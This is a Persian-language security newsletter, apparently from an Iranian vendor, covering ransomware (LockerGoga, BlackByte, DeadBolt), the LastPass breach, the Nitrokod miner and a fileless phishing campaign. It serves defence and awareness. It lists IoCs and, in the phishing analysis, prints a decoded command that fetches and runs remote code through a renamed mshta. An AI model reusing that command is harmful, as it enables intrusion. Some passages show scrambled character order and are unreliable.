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 یفناور  تیمرتبط با امن یدادهایرخدادها و رو نیمهمتر یشبکه گستر به بررس یاطلاعات شرکت مهندس یفناور  تیشماره از ماهنامه امن نیدر ا

 پرداخته شده است. ۱۴۰۱ماه از تابستان  نیاطلاعات در آخر

 یهاکیتکن یر یگها و با بکار دادهنشت دیجد تیبا انتشار سا BlackByte 2.0افزار باج تیخواند فعال دیماهنامه خواه نیطور که در ا همان

 یتیامناز ضعف ییجوبا بهره زین  DeadBoltافزارباج نیاند، مجدداً از سر گرفته شده است. همچنشده یالگوبردار  LockBitکه از  یاخاذ دیجد

 را آغاز کرده است. ونپیشرکت ک NAS یساز رهیذخ یهادستگاه یرمزگذار  دیموج جد Photo Stationدر 

ماهه در شش Linuxتحت  یبه سرورها یافزار ماهنامه ارائه شده، حملات باج نیاز آن در ا یادهیکه چک کرویاز شرکت ترند م یاساس گزارش بر

 داشته است. شیدرصد افزا ۷۵قبل از آن،  یلادیبا دوره مشابه در سال م سهیدر مقا ۲۰۲۲اول 

را عرضه کردند که امکان بازگرداندن  یگانیرا یابزار رمزگشا فندریدتیکه گذشت محققان ب یدر ماه نکهیافزارها اخوش در خصوص باج خبر

 .کندیرا فراهم م LockerGogaافزار شده توسط باج یرمزگذار  یهالیفا

پرداخته شده است. بر اساس  Worokبه نام  یبر یسا یگروه جاسوس کیدر مورد  ستیشرکت ا یهاافتهیبه  زیماهنامه ن نیاز ا یبخش در

 اند.بوده Worok ریاخ انیاز قربان انهیمختلف از جمله منطقه خاورم یدر کشورها یدولت یو نهادها یخصوص یهاشرکت ستیا ریگزارش اخ

آن به سرقت  یو اختصاص یاز کد منبع و اطلاعات فن یآن بخش انیرمزعبور که در جر تیریکنندگان محصولات مداز ارائه یکیپس، لست هک

 آن پرداخته شده است. یماهنامه به بررس نیاست که در ا یموارد گریرفته است، از د

از  یبرخ یبرا یتیامن نامههیو توص هیاطلاعات اقدام به انتشار اصلاح یمختلف فناور  یهاشرکت زین ۱۴۰۱ وریمعمول هر ماه، در شهر طبق

 لا،یموز ور،امیو فندر،یدتیسوفوس، ب سکو،یس کروسافت،یما یهاشرکت یشده از سوعرضه یهاهیاصلاح اتييمحصولات خود کردند. جز

 .دیماهنامه بخوان نیدر ا دیتوانیو اپل را م یگوگل، ادوب

 یساز ، همواره به امر آگاه۱۳۷۰در سال  سیشبکه از زمان تأس تیامن نهیدهنده محصولات و خدمات در زمشبکه گستر، ارائه یمهندس شرکت

است مطالب  دیتوجه خاص داشته است. ام یبر یسا داتیمقابله با تهد یراهکارها نیتریاز اصل یکیاطلاعات به عنوان  یفناور  تیامن نهیدر زم

دانش کاربران  یدر جهت ارتقا یشرکت است قدم نیشبکه گستر که حاصل تلاش کارشناسان ا یاطلاعات شرکت مهندس یفناور  تیامنماهنامه 

 حوزه باشد. نیا
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 فندریدتیخبر خوش ب

 LockerGogaافزار باج انیقربان یبرا

 

 

 

های رمزگذاری شده توسط ) ابزار رمزگشای رایگانی را عرضه کرده که امکان بازگرداندن فایلBitdefenderدیفندر (شرکت امنیت سایبری بیت

                                                                                                                                    کند.را فراهم می LockerGogaافزار باج

 باشد.و نهادهای قانونی زوریخ می NoMoreRansomپروژه )، یوروپلدیفندر، پلیس اروپا (عرضه رمزگشای جدید حاصل مشارکت بیت

LockerGoga چیست؟ 

LockerGoga اپراتور ١٤٠٠پس از حمله به چندین سازمان در ایالات متحده آمریکا و نروژ شناسایی شد. در مهر  ١٣٩٧افزاری است که در دی باج ،

افزار توسط نهادهای قانونی بازداشت شد. این مهاجم که عضوی از یک گروه سایبری بزرگتر بوده، با بکارگیری باج LockerGogaافزار باج

LockerGoga و MegaCortex  میلیون دلار به بار آورد.  ١٠٤کشور در سراسر جهان مشارکت داشته و خسارتی بالغ بر  ٧١حمله در  ١٨٠٠در 

 های خود را پس بگیریدداده

مورد حمله قرار  LockerGogaافزار باشد. اگر سازمان شما توسط باجمی  'locked.'هایی با پسوندوجود فایل LockerGogaنشانه آلودگی به 

های خود را بازیابی کنید. به نقل از ی گام به گام آن به نشانی زیر، به صورت رایگان دادهو مراجعه به راهنما این ابزارتوانید به کمک گرفته، می

 باشد. قابل استفاده می LockerGogaشده توسط رمزگذاری ت، این رمزگشا برای یک سیستم یا کل شبکهاین شرک

https://www.nomoreransom.org/uploads/LockerGoga-Decrypt-Doc.pdf 

 منبع:

 

https://www.bitdefender.com/blog/labs/bitdefender-releases-universal-lockergoga-decryptor-in-cooperation-

with-law-enforcement/  

https://fa.wikipedia.org/wiki/%DB%8C%D9%88%D8%B1%D9%88%D9%BE%D9%84
https://fa.wikipedia.org/wiki/%DB%8C%D9%88%D8%B1%D9%88%D9%BE%D9%84
https://www.bitav.ir/article/remove-ransomware/
https://download.bitdefender.com/am/malware_removal/BDLockerGogaDecryptTool.exe
https://download.bitdefender.com/am/malware_removal/BDLockerGogaDecryptTool.exe
https://www.nomoreransom.org/uploads/LockerGoga-Decrypt-Doc.pdf
https://www.bitdefender.com/blog/labs/bitdefender-releases-universal-lockergoga-decryptor-in-cooperation-with-law-enforcement/
https://www.bitdefender.com/blog/labs/bitdefender-releases-universal-lockergoga-decryptor-in-cooperation-with-law-enforcement/
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 BlackByteافزار بازگشت باج

 یاخاذ دیجد یهاکیبا تکن

 

 

 

 LockBitهای جدید اخاذی که از ) و با بکارگیری تکنیکLeak sideها (دادهبا انتشار سایت جدید نشت BlackByte 2.0افزار فعالیت باج

 الگوبرداری شده، مجدداً از سر گرفته شده است. 

های مذکور مورد که با همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای ریاست جمهوری تهیه گردیده تکنیک در این گزارش
 .بررسی قرار گرفته است

اری ها در سراسر جهان و رمزگذهای سازمانها در شبکهشروع به نفوذ و سرقت داده ۱۴۰۰از اوایل تابستان  BlackByteافزار گردانندگان باج

 ها کرده است.دستگاه

FBI ای نیز در خصوص آن نامهتوصیه ۱۴۰۰داند و در بهمن های حیاتی ایالت متحده امریکا میافزار مذکور را مسئول حملات به زیرساختباج

 منتشر کرد.

ها را دادهو پایگاه های مربوط به محصولات امنیتی، سرور ایمیلکند بسیاری از پروسهنوشته شده و سعی می C #به زبان BlackByteافزار باج

های را در سیستم Microsoft Defender ها،افزار قبل از رمزگذاری فایلها، از کار بیندازد. برای مثال این باجبه منظور رمزگذاری موفق سیستم

 .کندقربانیان غیرفعال می

 Microsoft Exchangeبه سرورهای  ProxyShellها نفوذ کرده و زنجیره حمله های امنیتی به شبکهپذیریمهاجمان با سوءاستفاده از آسیب

 را نیز در کارنامه دارند.

به اطلاعیه ) Encodingکردن (کد را پس از  ، کلید رمزگذاریBlackByteافزاری محققان به این نکته پی بردند که گروه باجدر پاييز سال گذشته، 
افزار، در پی شناسایی ضعف مذکور در این باج .کنند) اضافه کرده و از کلید مشابه برای چندین قربانی استفاده میRansom Noteگیری (باج

. البته های خود را به صورت رایگان بازیابی کنند، منتشر کردندداد فایلافزار اجازه میبه قربانیان این باجرا که  BlackByteرمزگشای محققان 
 متأسفانه پس از انتشار گزارش این ضعف، مهاجمان نقص مذکور را برطرف کردند.

https://www.ic3.gov/Media/News/2022/220211.pdf
https://www.ic3.gov/Media/News/2022/220211.pdf
https://newsroom.shabakeh.net/22685/blackbyte-decryptor-released-recover-files-free.html
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 LockBitهای جدید اخاذی که از پس از مدتی کوتاه، این مهاجمان فعالیت خود را متوقف کردند. اکنون مدتی است که حملات خود را با تکنیک

های توييتر تحت کنترل مهاجمان، شده، اجرا نموده و ضمن انتشار یک سایت نشت داده جدید در تالارهای گفتگو هکرها و حساب الهام گرفته

 کنند.افزار را تبلیغ میاجاین ب

 

 

دهد تا های اخاذی جدیدی دارد که به قربانیان اجازه میداده در حال حاضر تنها شامل یک قربانی است، اما اکنون استراتژیسایت جدید نشت

هزار دلار، یا حذف تمامی  ۲۰۰ها، دادهگذاری هزار دلار، عدم به اشتراک ۵ساعت،  ۲۴ها تا برای تمدید مهلت پرداخت باج و عدم انتشار داده

 ها احتمالاً بسته به میزان درآمد هر قربانی تغییر خواهند کرد.هزار دلار هزینه پرداخت کنند. این قیمت ۳۰۰های سرقت شده، داده

 

 

 

ها توانند برای خرید یا حذف دادهمی »مشتریان«کوین و مونرو را که های بیت، نشانیBlackByteافزار داده باجبا این حال، سایت جدید نشت

 شود.های جدید میکند و این موجب عدم اجرای صحیح قابلیتاز آنها استفاده کنند، به درستی جاسازی نمی
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و یا  های خود پول پرداخت کندهای جدید اخاذی این است که به قربانی اجازه داده شود تا برای حذف دادهرسد که هدف از تکنیکبه نظر می

 شده را خریداری کنند.های سرقتدر صورت تمایل، سایر مهاجمان داده

LockBit 3.0 رسد تا تکنیک اخاذی قابل اجرا.های اخاذی را معرفی کرده که بیشتر به عنوان یک ترفند به نظر مینیز چنین تکنیک 

 

 منبع:

 

https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-gang-is-back-with-new-extortion-

tactics/ 

  

https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-gang-is-back-with-new-extortion-tactics/
https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-gang-is-back-with-new-extortion-tactics/
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 هک

LastPass 

 

 

 

در جریان ) هک شده و Password Managementکنندگان محصولات مدیریت رمزعبور ()، یکی از ارائهLastPass( پسلستبه تازگی شرکت 

 ) و اطلاعات فنی و اختصاصی آن به سرقت رفته است.Source Codeآن بخشی از کد منبع (

همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای ریاست جمهوری تهیه گردیده این رخداد مورد بررسی در این گزارش که با 

 .قرار گرفته است

میلیون کاربر و دهها هزار سازمان  هادهنده مدیریت رمز عبور در جهان است که دههای ارائه) یکی از بزرگترین شرکتLastPassپس (لست

 کنند. جهت ذخیره ایمن رمز عبور خود از محصول آن استفاده می

 همیشه این نگرانی وجود دارد که در صورت هک شدن این گونه محصولات، مهاجمان به رمزهای عبور ذخیره شده کاربران دست یابند.

رت رمزگذاری شده ذخیره شده و فقط با استفاده از رمز عبور اصلی مشتری قابل رمزگشایی به طور کلی در این محصولات، رمزهای عبور کاربر به صو

 باشد. می

کاربری یکی ای را منتشر کرده و ضمن آن تاييد کرده که مهاجمان از طریق هک حسابپس اطلاعیهافزار، شرکت لستپس از هک اخیر این نرم

 اند. کرده، به آن نفوذ کردهافزار این شرکت از آن استفاده مینویسان این محصول که برای دسترسی به بستر توسعه نرماز برنامه

های آنها شناسایی نشده و کور اعلام نموده که تاکنون هیچ مدرکی دال بر به خطر افتادن رمزهای عبور کاربران و یا افشای دادهمدیر شرکت مذ 

 هک شده است. LastPassتنها بخشی از کد منبع و اطلاعات فنی 

 زمینه امنیت سایبری درخواست کمک کرده ها از شرکتی پیشرو دروی همچنین اظهار نموده که این شرکت جهت آنالیز شواهد و بررسی لاگ

 است. تحقیقات هنوز در این زمینه ادامه دارد.

 نویس و کد منبع سرقت شده ارائه نکرده است.کاربری برنامهپس جزئیات بیشتری در مورد حمله، نحوه نفوذ مهاجمان به حسابشرکت لست

  

https://www.lastpass.com/
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 دهد:به مشتریان این شرکت را نمایش می LastPassرسانی ارسالی تصویر زیر ایمیل اطلاع

 

 

 

 قرار گرفتند.  Credential Stuffingای از نوع هدف حمله LastPassسال گذشته، نیز کاربران 

ها بسیار حیاتی است تا مهاجمان ) در تمامی حسابMFAبه اختصار  - Multi-Factor Authenticationای (فعال کردن احراز هویت چند مرحله

 موفقیت کمتری جهت دسترسی به حساب شما داشته باشند.شانس 
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 پس از طریق لینک زیر قابل دریافت است:مشروح اطلاعیه شرکت لست

 

https://blog.lastpass.com/2022/08/notice-of-recent-security-incident/ 

 

 منبع:

 

https://www.bleepingcomputer.com/news/security/lastpass-developer-systems-hacked-to-steal-source-code/  

https://blog.lastpass.com/2022/08/notice-of-recent-security-incident/
https://www.bleepingcomputer.com/news/security/lastpass-developer-systems-hacked-to-steal-source-code/
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 کننده رمزارزاستخراجبدافزار 

 Google Translate Desktopدر قالب 

 

 

 

 Googleافزارهای جعلی تحت عنوان کننده ارز دیجیتال در قالب نرم، بدافزار استخراجNitrokodاز اوایل مرداد ماه در کارزاری جدید به نام 

Translate Desktop باشد.انتشار میهای جذاب دیگر در برخی کشورها در حال یا برنامه 

در این گزارش که با همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای ریاست جمهوری تهیه گردیده کارزار مذکور مورد بررسی 

 .قرار گرفته است

که مدعی  Uptodownو  Nitrokod ،Softpediaهایی همچون کننده ارز دیجیتال را از طریق سایتمهاجمان این کارزار، بدافزارهای استخراج

ها فاقد هرگونه کد بدافزاری بوده و عملکرد رسد که این برنامهکنند. در نگاه اول به نظر میافزارهای رایگان و ایمن هستند، منتشر میارائه نرم

 کنند. تبلیغ شده را ارائه می

ترین برنامه وبی هستند که نسخه رسمی دسکتاپ ندارند. به عنوان مثال، محبوبافزارهای محبهای آلوده به این بدافزار، در ظاهر نرماکثر برنامه

Nitrokod  نسخه دسکتاپGoogle Translate علاوه بر سایت  است کهNitrokod  درSoftpedia  ١١٢نیز بارگذاری شده و تاکنون بیش از 

را منتشر نکرده است. از این رو انتشار این نسخه در  Translateهزار بار دانلود شده است. این در حالی است که گوگل، نسخه رسمی دسکتاپ 

 باشد. ها، برای مهاجمان بسیار جذاب میاین سایت

گیرند. متأسفانه، پیشنهادات و ها در معرض نمایش موتورهای جستجو نیز قرار میهای آلوده علاوه بر بازدیدکنندگان معمولی سایتاین برنامه

ای عالی برای کاربرانی است که به دنبال رتبه بالایی دارد و این سایت طعمه Googleافزارها در نتایج جستجوی ین نرمبرای ا Nitrokodتبلیغ 

های مذکور هدایت کنند، به سرعت به سایتجستجو می را Google Translateابزاری خاص هستند. هنگامی که کاربران نسخه دسکتاپ 

 شوند.می
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 آلودگیزنجیره 

اندازد تا از شناسایی شدن اند که این بدافزار به طور عمدی نصب و اجرای کد مخرب را تا یک ماه به تاخیر میمحققان در گزارشی اعلام کرده

 توسط راهکارهای امنیتی جلوگیری کند.

 محافظت شده با رمز عبور RARشوند، کاربر یک فایل دانلود می Nitrokodهای آلوده از سایت فارغ از اینکه کدام یک از این برنامه

)Password-protected RARنماید. همچنین دو کلید رجیستری زیر توسط ) که شامل فایل اجرایی برنامه دانلود شده است، را دریافت می

 شود. جرا و دیگری به عنوان یک شمارنده استفاده میشود. از یکی از این کلیدها به منظور ذخیره آخرین زمان و تاریخ ابدافزار ایجاد می

• HKLU\Software\Update\D  

• HKLU\Software\Update\S  
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کننده افزار فوق، فایل فراخوانی)، نرمSandboxهای تحلیل بدافزار (به منظور جلوگیری از ایجاد حساسیت و جلب توجه کاربر و خنثی کردن قابلیت

 کند.دریافت شده، فعال می Wgetرمزگذاری شده دیگر که از طریق  RAR) را از یک فایل Dropperبدافزار (

رمزگذاری شده بعدی را  RARپاک نموده و پس از  مدتی،  PowerShellافزار تمام لاگهای سیستم را با استفاده از دستورات در مرحله بعد، نرم

 کند." بازیابی میintelserviceupdate[.]comاز "
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های ضدشناسایی های مجازی، از یک سری روالهای متعلق به ماشینافزار ضدویروس را بررسی نموده، ضمن جستجوی پروسهبدافزار، وجود نرم

 Windowsکند و در نهایت یک قاعده به مجموعه قواعد فایروال و یک استثناء به و ضدتحلیل جهت دورزدن محصولات امنیتی استفاده می

Defender کننده رمزارز نماید. در نهایت یک بدافزار استخراجفه میاضاXMRig کنترلر آن و یک فایل تنظیمات با پسوند ،».sys« ا بازیابی ر

 کند.می

 

 

 

 اختصار به – Command-and-Controlدهی خود (شود شناسایی کرده، سپس به سرور کنترل و فرمانبدافزار بستری را که روی آن اجرا می

C2( های متصل شده و گزارش کامل سیستم قربانی را از طریق درخواستHTTP POST کند. سرور مذکور، فرامینی همچون فعالسازی ارسال می

 نماید.یا شناسایی راهکارهای امنیتی جهت دورزدن آنها را ارسال می C2مجدد به  Pingبندی ، زمانCPUو تعیین میزان مصرف 

 

 

 

 نشانی زیر قابل مطالعه است:مشروح این گزارش در 

 

https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-

google-translate-desktop-and-other-legitimate-applications/ 

 

 

 

  

https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications/
https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications/
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 های آلودگینشانه

 باشد:) به شرح زیر میIoC اختصار به – Compromise-of-Indicatorsبرخی از علائم آلودگی (

 

 )Domainدامنه (

Nitrokod[.]com 

Intelserviceupdate[.]com 

nvidiacenter[.]com 

  

 )Hash( سازدرهم

abe0fb9cd0a6c72b280d15f62e09c776 

a3d1702ada15ef384d1c8b2994b0cf2e 

668f228c2b2ff54b4f960f7d23cb4737 

017781535bdbe116740b6e569657eedf 

0cabd67c69355be4b17b0b8a57a9a53c 

27d32f245aaae58c1caa52b349bed6fb 

 

 منبع:

 

https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-

google-translate-desktop-and-other-legitimate-applications/ 

 

https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications/
https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications/
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 یبر یحملات سا ریچشمگ شیافزا

  Linux تحت یبه سرورها

 

 
 

ماهه اول در شش Linuxتحت  یبه سرورها یافزار حملات باج)، Trend Micro, Inc.( شرکت ترند میکروتوسط  گزارش منتشر شدهبر اساس 
دامنه حملات  شیافزا یهمواره در پ یبر یداشته است. مجرمان سا شیدرصد افزا ۷۵قبل از آن،  یلادیبا دوره مشابه در سال م سهیدر مقا ۲۰۲۲

 .شوندیگرفته م دهیناد هازمانآنها اغلب توسط سا تیهستند که حفظ امن یعامل یهاستمیاز س ییجوخود از جمله بهره

شود و تبدیل به هدفی جذاب ها از جمله سرورها بکار گرفته میهای کلیدی فناوری اطلاعات سازمانمعمولاً در زیرساختLinux عامل سیستم
گیرند، موجب شده افزاری قرار نمیهدف حملات باج Windows در مقایسه با Linux هایبرای مهاجمان شده به ویژه این باور غلط که سیستم

 .تمرکز کنند Windows های تحتسایبری صرفاً بر روی محافظت از شبکههای امنیتکه تیم

های کنند که به طور خاص سیستمیای حملات خود را طوری تنظیم مافزارها به طور فزایندهتازگی گردانندگان باجکنند که بهمحققان خاطرنشان می
ای از افزارهای اخیر است، اکنون نمونهترین باجکه یکی از پرکارترین و موفق LockBit دهند. به عنوان مثال، را مورد هدف قرار می Linux تحت

 .و در حملات بکار گرفته شده استطراحی شده  Linux های تحترا ارائه داده که برای هدف قرار دادن سیستم Linux افزار مبتنی بر باج

افزاری انگیزه مالی دارند لذا هر فرصتی که به آنها در کسب درآمد بیشتر کمک کند را دنبال خواهند کرد. از این رو به از آنجایی که مهاجمان باج
ای مورد توجه سرورها به طور فزاینده ها وو درخواست باج برای ارائه کلید رمزگشای فایل Linux های تحترسد که رمزگذاری سیستمنظر می

افزاری به دنبال کسب حداکثر درآمد ممکن هستند، رسد این رویکرد به خصوص در زمانی که مهاجمان باجمهاجمان قرار گرفته است. به نظر می
 .گیردبیشتر مورد توجه این افراد قرار می

کنند. به همین دلیل ضروری است دهند و حملات خود را با دقت بیشتری اجرا میتبهکاران سایبری به تکامل شیوه و نوع حملات خود ادامه می
 .باشد، بهتر عمل کنندها در انطباق، درک و محافظت از تمام دامنه مورد حمله واقع شده که در حال گسترش نیز میکه سازمان

اند؛ بنا بر گزارش این معطوف کرده Linux های تحتبه سمت سیستمای توجه خود را افزاری نیستند که به طور فزایندههای باجالبته فقط گروه
سایبری جهت درصد افزایش یافته است. در این گونه حملات، مجرمان ۱۴۵نیز  Linux کننده رمز ارز مبتنی برشرکت، حملات بدافزارهای استخراج

 .کنندتفاده میاستخراج رمز ارز مخفیانه از پردازشگر کامپیوترها و سرورهای آلوده سوءاس

https://www.trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/defending-the-expanding-attack-surface-trend-micro-2022-midyear-cybersecurity-report
https://www.trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/defending-the-expanding-attack-surface-trend-micro-2022-midyear-cybersecurity-report
https://www.trendmicro.com/en_us/about.html
https://www.trendmicro.com/en_us/about.html
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کنند. بر اساس را آلوده می Linux های تحت، سیستمCVE-2022-0847های وصله نشده نظیر پذیریجویی از آسیباین مهاجمان اغلب با بهره
 به بالا ۵٫۸های شود، بر نسخهنیز شناخته می Dirty Pipe که تحت عنوان CVE-2022-0847 پذیری به شناسهاین گزارش، آسیب

 Linux Kernelترفیع اختیارات«گذارد و سوءاستفاده از آن تأثیر می «(Privilege Escalation) کند. اجرای کد را برای مهاجمان فراهم می و
 .باشدجویی از این ضعف امنیتی نسبتا آسان میدهند که بهرهمحققان هشدار می

های امنیتی در اسرع شود که همه وصلهافزارها و سایر حملات سایبری، توصیه میدر برابر باج Linux های مبتنی برجهت محافظت از سیستم
 .ای که وصله آنها قبلاً ارائه شده، سوءاستفاده کنندهای شناخته شدهپذیریمجرمان سایبری نتوانند از آسیبوقت اعمال شوند تا 

ها اجرا شود تا ضمن ایجاد یک لایه در تمامی سیستم (Multi-Factor Authentication) شود که احراز هویت چندعاملیهمچنین توصیه می
 .ها در شبکه شودز گسترش آلودگی به سایر دستگاهدفاعی مضاعف در برابر حملات، مانع ا

 

 :منبع

 

https://www.zdnet.com/article/linux-devices-increasingly-under-attack-from-hackers-warn-security-researchers/ 

  

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
https://www.zdnet.com/article/linux-devices-increasingly-under-attack-from-hackers-warn-security-researchers/
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 افزارحملات باج یر یاز سرگ

DeadBolt زاتیبه تجه QNAP 

 

 

 

امنیتی در جویی از ضعفکه در حال بهره DeadBolt افزاردرخصوص حملات باج) به مشتریان خود QNAP Systems, Inc.( شرکت کیونپ

Photo Station باشند، هشدار داده است.می 

ای از این هشدار در این گزارش که با همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای ریاست جمهوری تهیه گردیده به چکیده

 .پرداخته شده است

پذیری در این بار از یک آسیب DeadBoltافزار شهریور آغاز شده، گردانندگان باج ۱۲به نقل از این شرکت تایوانی، در این حملات که از روز شنبه 

Photo Station  سازی های ذخیرهدستگاهجهت رمزگذاریAttached Storage-Network -  به اختصارNAS -  متصل به اینترنت ساخت این

 کنند.  استفاده میسوءشرکت 

 

 

https://www.qnap.com/en
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را مستقیماً به اینترنت متصل نکنند. همچنین از  NASها و تجهیزات از مشتریان توصیه نموده که دستگاه هشداریاین شرکت ضمن انتشار 

را فعال نمایند. این شرکت به مشتریان توصیه اکید  VPNاستفاده نموده یا سرویس  QNAPارائه شده توسط  myQNAPcloud Linkقابلیت 

 روز کنند:پذیر زیر بهرا به آخرین نسخ غیرآسیب Photo Stationنموده که 

• QTS 5.0.1: Photo Station 6.1.2 + 

• QTS 5.0.0/4.5.x: Photo Station 6.0.22 + 

• QTS 4.3.6: Photo Station 5.7.18 + 

• QTS 4.3.3: Photo Station 5.4.15 + 

• QTS 4.2.6: Photo Station 5.2.14 + 

 

سازی جهت مدیریت ذخیره Photo Stationجای به عنوان جایگزینی قدرتمند به QuMagieکند که از محصول کیونپ به کاربران پیشنهاد می

 ساخت این شرکت استفاده نمایند. NASتصاویر در تجهیزات 

را در سرتاسر جهان مورد هدف قرار  NASهای پذیری روز صفر دستگاهجویی از یک آسیببا بهره DeadBoltافزار نیز مهاجمان باج ۱۴۰۰در دی 

 ها را رمزگذاری نمودند.و اطلاعات این سیستم دادند

ها ها اضافه کرده و پیام رمزگذاری فایلرا به نام فایل deadbolt.، پسوند NASافزاری پس از رمزگذاری تجهیزات ین حملات مهاجمان باجدر ا

 دهند:به کاربران نمایش می NASهای را بصورت زیر در صفحه ورود دستگاه DeadBoltافزار توسط باج

“WARNING: Your files have been locked by DeadBolt” 

دلار) به ازای یک کلید  ۱۲۷۷کوین (تقریباً باج بیت ۰٫۰۳افزار، خواستار پرداخت ) این باجRansom Noteگیری (مهاجمان در اطلاعیه باج

است که به » Important message for QNAP«باشند. همچنین این اطلاعیه شامل پیوندی با عنوان ها میرمزگشایی برای بازیابی فایل

هزار دلار) ارائه  ۲۱۲کوین (تقریباً بیت ۵را به قیمت  NASهای پذیری روز صفر در دستگاهکند که در آن جزئیات فنی آسیبای اشاره میصفحه

ها را رمزگشایی فایل افزار اجازهتواند به همه قربانیان این باجکنند که میکوین عرضه میبیت ۵۰دهد. کلید رمزگشایی اصلی را نیز به قیمت می

 بدهد.

صادر نموده به راهبران توصیه کرده که  DeadBoltافزار شهریور در واکنش به موج جدیدی از حملات باج ۱۲زیر که  نامهشرکت کیونپ در توصیه

اقدام  NASر روی تجهیزات و برنامه های نصب شده ب QTSو اعمال تنظیمات مربوطه، نسبت به ارتقای  Photo Stationروزرسانی علاوه بر به

های کنند. همچنین همانطور که در بالا نیز اشاره شد از در دسترس قرار دادن دستگاه از طریق اینترنت خودداری شود. در نهایت، بکارگیری رمز

در صورت بروز اینگونه  و تهیه نسخ پشتیبان به طور منظم برای جلوگیری از از دست رفتن اطلاعات NASهای کاربری عبور قوی در تمام حساب

 شود.حملات توصیه می

 

https://www.qnap.com/en/security-advisory/qsa-22-24 

 

 منبع:

 

https://securityaffairs.co/wordpress/135347/malware/qnap-deadbolt-ransomware-new-attacks.html 

  

https://www.qnap.com/en/security-news/2022/take-immediate-action-to-update-photo-station-to-the-latest-available-version
https://www.qnap.com/en/security-news/2022/take-immediate-action-to-update-photo-station-to-the-latest-available-version
https://www.qnap.com/en/security-advisory/qsa-22-24
https://securityaffairs.co/wordpress/135347/malware/qnap-deadbolt-ransomware-new-attacks.html
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 Filelessسه بدافزار  نگیشیکارزار ف

 

 

 

اند که در آن مهاجمان اقدام به ارسال سه بدافزار بدون فایل ) را شناسایی کردهPhishing) کارزار فیشینگی (Fortinetنت (فورتیمحققان شرکت 

)Filelessهای ) به نامAveMariaRAT،BitRAT   وPandoraHVNC به تعریف بدافزارهای بدون  این مقالهکردند. بر روی دستگاه قربانی می

های پس از اجرای کد مخرب بدافزارهای مذکور، مهاجمان قادر به سرقت اطلاعات حساس از دستگاه فایل پرداخته است. در این کارزار فیشینگی،

 باشند.قربانیان می

را به دستگاه قربانی منتقل  Filelessتواند بدافزار پردازیم و نشان خواهیم داد که یک کارزار فیشینگ چگونه میبه تحلیل کارزار مذکور می ابتدا

ماندگار  کند و چگونه بر روی سیستم قربانییزمی برای بارگذاری، استقرار و اجرای بدافزار بدون فایل در هدف موردنظر استفاده میکند، از چه مکان

 شود. می

رل گذارد، دستگاه قربانی را کنتتاثیر می Microsoft Windowsهای باشد و بر روی سیستم) میCritical» (حیاتی«این کارزار دارای درجه شدت 

 کند.نموده و اطلاعات حساس و حیاتی را سرقت می

 نمونه ایمیل فیشینگ

بع نمونه ایمیل فیشینگ دریافت شده در این کارزار در شکل زیر نشان داده شده است. ایمیل مذکور به عنوان یک اعلان گزارش پرداخت از یک من

 به ظاهر معتبر ارسال شده است.

 

 

https://www.bitav.ir/article/fileless-malware-what-it-is-and-how-it-works/?utm_source=newsroom&utm_medium=link&utm_campaign=newsroom+backlink&utm_id=newsroom-23061401
https://www.bitav.ir/article/fileless-malware-what-it-is-and-how-it-works/?utm_source=newsroom&utm_medium=link&utm_campaign=newsroom+backlink&utm_id=newsroom-23061401
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 پیوست شده را جهت دریافت جزئیات گزارش باز کند.  Excelدر این ایمیل، مهاجم سعی کرده گیرنده را فریب دهد تا سند 

 

 پیوست شده Excelنگاهی به سند 

نامگذاری شده است. در واقع این فایل، یک   Remittance-Details-951244.xlamهای فیشینگ،پیوست شده به این ایمیل Excelسند 

باشد. همانطور که در شکل زیر نمایش داده شده، هنگامی که گیرنده آن را در برنامه است که حاوی ماکروهای مخرب می )Excel )*.xlamافزونه 

Microsoft Excel اکروها را فعال کند.خواهد مپرسد آیا میکند، یک اخطار امنیتی ظاهر شده که از کاربر میاجرا می 

 

 

 

اجرا  Excelبا باز شدن فایل  ()Auto_Open) به نام VBA )Visual Basic Applicationاین ماکرو بصورت خودکار با استفاده از یک تابع 

 شود.می

 WMI Objectکند و آن را با استفاده از یک ای رمزگشایی میدهد که این کد یک فرمان رشتهدر داخل تابع، نشان می VBAتحلیل کد 

)Windows Management Instrumentationنماید.) اجرا می 

 

 

رمزگشایی  جهت اجرای فرمان رشته WMI Objectدهد که در آن یک را نشان می ()Auto_Openمربوط به تابع  VBAای از کد شکل بالا قطعه

 شود همانطور که در پايين شکل بالا نشان داده شده است.شده زیر ایجاد می

C:\\ProgramData\\ddond.com hxxps://taxfile[.]mediafire[.]com/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file 

https://docs.microsoft.com/en-us/windows/win32/wmisdk/retrieving-a-class
https://docs.microsoft.com/en-us/windows/win32/wmisdk/retrieving-a-class
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تغییر نام  ddond.comکند و آن را به کپی می  \C:\ProgramDataرا در  C:\Windows\System32\mshta.exeقبل از آن، فایل

ارد. این وجود د Windowsعامل ها با سیستمفرض بر روی تمامی دستگاهیک فایل باینری معتبر است که بصورت پیش  mshta.exeدهد.می

  C:\ProgramData\ddond.comطراحی شده است. اکنون Microsoft HTML Application (HTA)های فایل محلی برای اجرای فایل

باشد که در طول کارزار مورد استفاده قرار خواهد گرفت. برای مثال برای گیج کردن محققان، از فایل کپی می  mshta.exeنسخه رونوشت

 کند.استفاده می  mshta.exeمخرب به جای htmlدانلود و اجرای فایل  جهت  ddond.comشده

 

HTML + JavaScript + PowerShell 

حاوی یک قطعه کد  HTMLشود. فایل ) فراخوانی شده، دانلود میmshta.exe(یعنی رونوشت   ddond.comکه توسط  APRL27.htmفایل

